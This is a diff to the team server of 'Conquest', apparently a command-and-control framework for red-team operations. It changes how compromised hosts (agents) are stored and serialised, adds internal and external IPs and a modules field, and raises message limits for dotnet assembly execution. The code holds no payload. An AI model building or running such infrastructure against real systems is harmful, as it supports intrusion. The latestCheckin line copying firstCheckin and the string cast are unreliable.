|
||||||
domain: domain,
|
domain: domain,
|
||||||
ip: ip,
|
ipInternal: ipInternal,
|
||||||
|
ipExternal: ipExternal,
|
||||||
os: os,
|
os: os,
|
||||||
elevated: elevated,
|
elevated: elevated,
|
||||||
firstCheckin: parse(firstCheckin, "dd-MM-yyyy HH:mm:ss"),
|
firstCheckin: cast[int64](firstCheckin),
|
||||||
latestCheckin: parse(latestCheckin, "dd-MM-yyyy HH:mm:ss"),
|
latestCheckin: cast[int64](firstCheckin),
|
||||||
process: process,
|
process: process,
|
||||||
|
modules: cast[uint32](modules),
|
||||||
sessionKey: sessionKey,
|
sessionKey: sessionKey,
|
||||||
tasks: @[]
|
tasks: @[] # Initialize empty tasks
|
||||||
)
|
)
|
||||||
|
|
||||||
agents.add(a)
|
|
||||||
|
|
||||||
conquestDb.close()
|
conquestDb.close()
|
||||||
except:
|
except:
|
||||||
cq.error(getCurrentExceptionMsg())
|
cq.error(getCurrentExceptionMsg())
|
||||||
@@ -137,18 +140,6 @@ proc dbAgentExists*(cq: Conquest, agentName: string): bool =
|
|||||||
cq.error(getCurrentExceptionMsg())
|
cq.error(getCurrentExceptionMsg())
|
||||||
return false
|
return false
|
||||||
|
|
||||||
proc dbUpdateCheckin*(cq: Conquest, agentName: string, timestamp: string): bool =
|
|
||||||
try:
|
|
||||||
let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite)
|
|
||||||
|
|
||||||
conquestDb.exec("UPDATE agents SET latestCheckin = ? WHERE name = ?", timestamp, agentName)
|
|
||||||
|
|
||||||
conquestDb.close()
|
|
||||||
return true
|
|
||||||
except:
|
|
||||||
cq.error(getCurrentExceptionMsg())
|
|
||||||
return false
|
|
||||||
|
|
||||||
proc dbUpdateSleep*(cq: Conquest, agentName: string, delay: int): bool =
|
proc dbUpdateSleep*(cq: Conquest, agentName: string, delay: int): bool =
|
||||||
try:
|
try:
|
||||||
let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite)
|
let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite)
|
||||||
|
|||||||
@@ -136,8 +136,8 @@ proc startServer*(profilePath: string) =
|
|||||||
var router: Router
|
var router: Router
|
||||||
router.get("/*", upgradeHandler)
|
router.get("/*", upgradeHandler)
|
||||||
|
|
||||||
# Increased websocket message length in order to support dotnet assembly execution
|
# Increased websocket message length in order to support dotnet assembly execution (1GB)
|
||||||
let server = newServer(router, websocketHandler, maxMessageLen = 1024 * 1024 * 1024)
|
let server = newServer(router, websocketHandler, maxBodyLen = 1024 * 1024 * 1024, maxMessageLen = 1024 * 1024 * 1024)
|
||||||
server.serve(Port(cq.profile.getInt("team-server.port")), "0.0.0.0")
|
server.serve(Port(cq.profile.getInt("team-server.port")), "0.0.0.0")
|
||||||
|
|
||||||
# Conquest framework entry point
|
# Conquest framework entry point
|
||||||
|
|||||||
@@ -74,7 +74,7 @@ proc deserializeTaskResult*(cq: Conquest, resultData: seq[byte]): TaskResult =
|
|||||||
data: data
|
data: data
|
||||||
)
|
)
|
||||||
|
|
||||||
proc deserializeNewAgent*(cq: Conquest, data: seq[byte]): Agent =
|
proc deserializeNewAgent*(cq: Conquest, data: seq[byte], remoteAddress: string): Agent =
|
||||||
|
|
||||||
var unpacker = Unpacker.init(Bytes.toString(data))
|
var unpacker = Unpacker.init(Bytes.toString(data))
|
||||||
|
|
||||||
@@ -102,12 +102,13 @@ proc deserializeNewAgent*(cq: Conquest, data: seq[byte]): Agent =
|
|||||||
username = unpacker.getDataWithLengthPrefix()
|
username = unpacker.getDataWithLengthPrefix()
|
||||||
hostname = unpacker.getDataWithLengthPrefix()
|
hostname = unpacker.getDataWithLengthPrefix()
|
||||||
domain = unpacker.getDataWithLengthPrefix()
|
domain = unpacker.getDataWithLengthPrefix()
|
||||||
ip = unpacker.getDataWithLengthPrefix()
|
ipInternal = unpacker.getDataWithLengthPrefix()
|
||||||
os = unpacker.getDataWithLengthPrefix()
|
os = unpacker.getDataWithLengthPrefix()
|
||||||
process = unpacker.getDataWithLengthPrefix()
|
process = unpacker.getDataWithLengthPrefix()
|
||||||
pid = unpacker.getUint32()
|
pid = unpacker.getUint32()
|
||||||
isElevated = unpacker.getUint8()
|
isElevated = unpacker.getUint8()
|
||||||
sleep = unpacker.getUint32()
|
sleep = unpacker.getUint32()
|
||||||
|
modules = unpacker.getUint32()
|
||||||
|
|
||||||
return Agent(
|
return Agent(
|
||||||
agentId: Uuid.toString(header.agentId),
|
agentId: Uuid.toString(header.agentId),
|
||||||
@@ -115,15 +116,17 @@ proc deserializeNewAgent*(cq: Conquest, data: seq[byte]): Agent =
|
|||||||
username: username,
|
username: username,
|
||||||
hostname: hostname,
|
hostname: hostname,
|
||||||
domain: domain,
|
domain: domain,
|
||||||
ip: ip,
|
ipInternal: ipInternal,
|
||||||
|
ipExternal: remoteAddress,
|
||||||
os: os,
|
os: os,
|
||||||
process: process,
|
process: process,
|
||||||
pid: int(pid),
|
pid: int(pid),
|
||||||
elevated: isElevated != 0,
|
elevated: isElevated != 0,
|
||||||
sleep: int(sleep),
|
sleep: int(sleep),
|
||||||
|
modules: modules,
|
||||||
tasks: @[],
|
tasks: @[],
|
||||||
firstCheckin: now(),
|
firstCheckin: now().toTime().toUnix(),
|
||||||
latestCheckin: now(),
|
latestCheckin: now().toTime().toUnix(),
|
||||||
sessionKey: sessionKey
|
sessionKey: sessionKey
|
||||||
)
|
)
|
||||||
|
|
||||||
|
|||||||
@@ -9,14 +9,16 @@ proc `%`*(agent: Agent): JsonNode =
|
|||||||
result["username"] = %agent.username
|
result["username"] = %agent.username
|
||||||
result["hostname"] = %agent.hostname
|
result["hostname"] = %agent.hostname
|
||||||
result["domain"] = %agent.domain
|
result["domain"] = %agent.domain
|
||||||
result["ip"] = %agent.ip
|
result["ipInternal"] = %agent.ipInternal
|
||||||
|
result["ipExternal"] = %agent.ipExternal
|
||||||
result["os"] = %agent.os
|
result["os"] = %agent.os
|
||||||
result["process"] = %agent.process
|
result["process"] = %agent.process
|
||||||
result["pid"] = %agent.pid
|
result["pid"] = %agent.pid
|
||||||
result["elevated"] = %agent.elevated
|
result["elevated"] = %agent.elevated
|
||||||
result["sleep"] = %agent.sleep
|
result["sleep"] = %agent.sleep
|
||||||
result["firstCheckin"] = %agent.firstCheckin.toTime().toUnix()
|
result["modules"] = %agent.modules
|
||||||
result["latestCheckin"] = %agent.latestCheckin.toTime().toUnix()
|
result["firstCheckin"] = %agent.firstCheckin
|
||||||
|
result["latestCheckin"] = %agent.latestCheckin
|
||||||
|
|
||||||
proc `%`*(listener: Listener): JsonNode =
|
proc `%`*(listener: Listener): JsonNode =
|
||||||
result = newJObject()
|
result = newJObject()
|
||||||
|
|||||||
Reference in New Issue
Block a user